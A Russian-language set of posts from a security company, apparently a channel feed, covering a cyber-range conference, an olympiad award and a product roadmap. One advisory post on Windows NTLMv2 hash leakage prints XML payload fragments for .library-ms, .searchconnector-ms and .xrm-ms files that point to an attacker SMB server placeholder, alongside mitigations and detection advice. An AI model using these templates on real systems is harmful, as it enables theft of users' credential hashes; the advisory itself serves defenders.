«Перспективный мониторинг» представил инструменты для эффективного обучения специалистов по ИБ на конференции киберполигонов Ampire 360°

На площадке Кибердома встретились более 300 участников процесса обеспечения информационной безопасности в различных сферах экономики — ИБ-специалисты, представители бизнеса и государственного сектора, вендоры и интеграторы, преподаватели вузов, студенты, ученики московских школ и колледжей.

На конференции «Перспективный мониторинг» и Кибердом презентовали совместный проект по проведению киберучений на фиджитал-полигоне Кибердома. Первыми тренировку на иммерсивных макетах Кибердома прошли финалисты соревнований Ampire Trophy.

В деловой программе с докладами выступили представители Министерства цифрового развития и связи Кузбасса, РТУ МИРЭА, КГЭУ, Кибердома, а также эксперты компаний ИнфоТеКС и «Перспективный мониторинг».

🔗 Подробнее

❗️ Еще одно раскрытие NTLM

В марте текущего года специалистами направления исследования киберугроз были зафиксированы уязвимости в ОС Windows, приводящие к раскрытию NTLMv2 хэшей:

🟠 CVE-2025-24071
🟠 CVE-2025-24054

После исследования удалось выявить и подтвердить 2 аналогичных способа эксплуатации при помощи файлов с расширением .library-ms и .searchconnector-ms. Но на этом вариации эксплуатации не заканчиваются. Уже на предыдущей неделе был установлен ещё один способ кражи скомпрометированных данных пользователей, где использовались .xrm-ms файлы

library-ms -- содержит информацию о настройках и содержимом библиотеки, включая пути к папкам и метаданные

searchconnector-ms -- содержит информацию о конфигурации соединителя для поиска, который используется в Windows для интеграции внешних источников

xrm-ms -- может включать данные, необходимые для импорта или экспорта решений между различными инстанциями CRM

🟧Описание уязвимости:

Источником уязвимости является механизм обработки перечисленных файлов после их извлечения из архивов. Неявное доверие и автоматическая обработка содержимого приводит к возможности раскрытия хэша NTLMv2 третьим лицам.

🟧Потенциально возможный вектор атаки:

Злоумышленник отправляет специально подготовленный архив, например, в форматах ZIP или RAR, содержащий файл со структурой XML.
В значении соответствующего поля должен быть указан адрес SMB-сервера злоумышленника.

.library-ms: <simpleLocation>        
                 <url>\\\\{ip_address}\\shared</url>

.searchconnector-ms: <simpleLocation>        
                         <url>\\\\{ip_address}\\shared</url>

.xrm-ms: <?xml-stylesheet href="\\{ip_address}\shared" ?>

После извлечения полученного файла будет выполнен сетевой SMB-запрос и передан хэш NTLMv2 текущего пользователя.

🟧Обнаружение и предотвращение:

🟠Обновить операционную систему до последней актуальной версии
🟠Ограничить сетевые соединения с внешними адресами по протоколу SMB
🟠Детектировать события безопасности ОС Windows 4663, в которых реализована попытка разархивации ранее описанных файлов

#AM_Rules

ПМ принял участие в награждении победителей олимпиады имени И. Я. Верченко в МТУСИ

В МТУСИ в рамках Дня открытых дверей факультетов КиИБ и ЦЭиМК прошла торжественная церемония награждения победителей и призёров Межрегиональной олимпиады школьников имени И. Я. Верченко по профилю «Информатика и компьютерная безопасность».

Олимпиада Верченко, входящая в Перечень олимпиад школьников Минобрнауки России (2 уровень), ежегодно проводится с 2006 года при поддержке Академии ФСБ России, Академии ФСО России и содействии Astra Linux и других ведущих компаний ИБ.

Победители и призёры заключительного этапа получают право использовать льготы при поступлении на направления подготовки, соответствующие профилю «Компьютерная безопасность», в МТУСИ или другие вузы РФ.

Подарки победителям от «Перспективного мониторинга» — партнёра МТУСИ — вручил специалист по информационной безопасности Ярослав Немцов.

Также «Перспективный мониторинг» был представлен на Дне открытых дверей на стенде.

▶️ Видео: МТУСИ.

Ampire для всех — ИБ, ИТ и непрофильных специалистов

🔥 О планах развития киберполигона до конца 2026 года рассказали в техническом докладе Ampire Keynotes на конференции Ampire 360°.

❗️ Ключевые тезисы:

🥇 Теперь у нас 🟠32 киберполигона в стране (+12 за год), проведено 🟠500 киберучений сотрудниками ПМ, сертифицировано 🟠300+ преподавателей. А ещё есть 🟠170 резюме с упоминанием Ampire.

🥇 Появятся новые индивидуальные форматы тренировок. Полученные в них навыки можно будет с успехом применять в полноформатных киберучениях Blue Team, CSIRT, Red Team.

🥇 Будут интегрированы новые СЗИ в шаблоны. Сейчас ведётся работа над интеграцией SIEM, а до конца 2026-го запланировано внедрение ещё нескольких СЗИ.

🥇 Разработана концепция киберфизических стендов в Ampire. Теперь можно будет интегрировать физические устройства: СЗИ, АРМ и другие. Гибрид виртуальной и физической инфраструктуры позволит пользователям отрабатывать навыки на «родном железе».

🥇 Преподаватели получат новые инструменты для проведения киберучений. Это повысит гибкость и скорость подготовки к практическим занятиям. Из ближайшего — генератор случайных сценариев на основе конфигураторных узлов в версии 1.7.

🧑‍🏫🧑‍🏫🧑‍🏫🧑‍🏫🧑‍🏫🧑‍🏫

🥇 В Ampire Junior появятся лабораторные работы на 40 минут. Они ориентированы на федеральные рабочие программы по учебным предметам. Учителя смогут комфортно и гибко использовать новые сценарии в школьных уроках любого формата.

🥇 Существующие сценарии в Ampire Junior будут расширены новыми заданиями. В течение двух кварталов планируется масштабное обновление сценария по фишингу.

ℹ️ Сейчас совершенствуется система контроля готовности тренировок для повышениях их стабильности и модернизируются механизмы обновления заказчиков для более быстрой и своевременной доставки изменений. Ждите новых обновлений киберполигона и применяйте новые функции на практике!

🔗 ampire.team